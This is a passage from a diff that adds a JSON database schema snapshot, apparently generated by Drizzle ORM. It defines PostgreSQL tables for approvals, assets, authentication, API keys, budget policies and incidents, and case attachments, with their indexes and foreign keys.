+      "indexes": {
+        "approval_comments_company_idx": {
+          "name": "approval_comments_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "approval_comments_approval_idx": {
+          "name": "approval_comments_approval_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "approval_comments_approval_created_idx": {
+          "name": "approval_comments_approval_created_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "approval_comments_company_id_companies_id_fk": {
+          "name": "approval_comments_company_id_companies_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approval_comments_approval_id_approvals_id_fk": {
+          "name": "approval_comments_approval_id_approvals_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approval_comments_author_agent_id_agents_id_fk": {
+          "name": "approval_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.approvals": {
+      "name": "approvals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_by_agent_id": {
+          "name": "requested_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_user_id": {
+          "name": "requested_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "decision_note": {
+          "name": "decision_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "approvals_company_status_type_idx": {
+          "name": "approvals_company_status_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "approvals_company_id_companies_id_fk": {
+          "name": "approvals_company_id_companies_id_fk",
+          "tableFrom": "approvals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approvals_requested_by_agent_id_agents_id_fk": {
+          "name": "approvals_requested_by_agent_id_agents_id_fk",
+          "tableFrom": "approvals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "requested_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.assets": {
+      "name": "assets",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "object_key": {
+          "name": "object_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "content_type": {
+          "name": "content_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "byte_size": {
+          "name": "byte_size",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "sha256": {
+          "name": "sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "original_filename": {
+          "name": "original_filename",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "assets_company_created_idx": {
+          "name": "assets_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "assets_company_provider_idx": {
+          "name": "assets_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "assets_company_object_key_uq": {
+          "name": "assets_company_object_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "assets_company_id_companies_id_fk": {
+          "name": "assets_company_id_companies_id_fk",
+          "tableFrom": "assets",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "assets_created_by_agent_id_agents_id_fk": {
+          "name": "assets_created_by_agent_id_agents_id_fk",
+          "tableFrom": "assets",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.account": {
+      "name": "account",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "account_id": {
+          "name": "account_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_id": {
+          "name": "provider_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "access_token": {
+          "name": "access_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token": {
+          "name": "refresh_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "id_token": {
+          "name": "id_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "access_token_expires_at": {
+          "name": "access_token_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token_expires_at": {
+          "name": "refresh_token_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope": {
+          "name": "scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "password": {
+          "name": "password",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "account_user_id_user_id_fk": {
+          "name": "account_user_id_user_id_fk",
+          "tableFrom": "account",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.session": {
+      "name": "session",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token": {
+          "name": "token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "ip_address": {
+          "name": "ip_address",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_agent": {
+          "name": "user_agent",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "session_user_id_user_id_fk": {
+          "name": "session_user_id_user_id_fk",
+          "tableFrom": "session",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user": {
+      "name": "user",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "email": {
+          "name": "email",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "email_verified": {
+          "name": "email_verified",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "image": {
+          "name": "image",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.verification": {
+      "name": "verification",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value": {
+          "name": "value",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.board_api_keys": {
+      "name": "board_api_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key_hash": {
+          "name": "key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "board_api_keys_key_hash_idx": {
+          "name": "board_api_keys_key_hash_idx",
+          "columns": [
+            {
+              "expression": "key_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "board_api_keys_user_idx": {
+          "name": "board_api_keys_user_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "board_api_keys_user_id_user_id_fk": {
+          "name": "board_api_keys_user_id_user_id_fk",
+          "tableFrom": "board_api_keys",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.budget_incidents": {
+      "name": "budget_incidents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "policy_id": {
+          "name": "policy_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start": {
+          "name": "window_start",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_end": {
+          "name": "window_end",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "threshold_type": {
+          "name": "threshold_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount_limit": {
+          "name": "amount_limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount_observed": {
+          "name": "amount_observed",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "budget_incidents_company_status_idx": {
+          "name": "budget_incidents_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_incidents_company_scope_idx": {
+          "name": "budget_incidents_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_incidents_policy_window_threshold_idx": {
+          "name": "budget_incidents_policy_window_threshold_idx",
+          "columns": [
+            {
+              "expression": "policy_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "threshold_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"budget_incidents\".\"status\" <> 'dismissed'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "budget_incidents_company_id_companies_id_fk": {
+          "name": "budget_incidents_company_id_companies_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "budget_incidents_policy_id_budget_policies_id_fk": {
+          "name": "budget_incidents_policy_id_budget_policies_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "budget_policies",
+          "columnsFrom": [
+            "policy_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "budget_incidents_approval_id_approvals_id_fk": {
+          "name": "budget_incidents_approval_id_approvals_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.budget_policies": {
+      "name": "budget_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'billed_cents'"
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount": {
+          "name": "amount",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "warn_percent": {
+          "name": "warn_percent",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 80
+        },
+        "hard_stop_enabled": {
+          "name": "hard_stop_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "notify_enabled": {
+          "name": "notify_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "is_active": {
+          "name": "is_active",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "budget_policies_company_scope_active_idx": {
+          "name": "budget_policies_company_scope_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "is_active",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_policies_company_window_idx": {
+          "name": "budget_policies_company_window_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_policies_company_scope_metric_unique_idx": {
+          "name": "budget_policies_company_scope_metric_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "budget_policies_company_id_companies_id_fk": {
+          "name": "budget_policies_company_id_companies_id_fk",
+          "tableFrom": "budget_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.built_in_managed_resources": {
+      "name": "built_in_managed_resources",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bundle_key": {
+          "name": "bundle_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_kind": {
+          "name": "resource_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_key": {
+          "name": "resource_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_id": {
+          "name": "resource_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stock_version": {
+          "name": "stock_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stock_hash": {
+          "name": "stock_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "defaults_json": {
+          "name": "defaults_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "built_in_managed_resources_company_idx": {
+          "name": "built_in_managed_resources_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "built_in_managed_resources_resource_idx": {
+          "name": "built_in_managed_resources_resource_idx",
+          "columns": [
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "built_in_managed_resources_company_bundle_resource_uq": {
+          "name": "built_in_managed_resources_company_bundle_resource_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bundle_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "built_in_managed_resources_company_id_companies_id_fk": {
+          "name": "built_in_managed_resources_company_id_companies_id_fk",
+          "tableFrom": "built_in_managed_resources",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_attachments": {
+      "name": "case_attachments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_attachments_company_case_idx": {
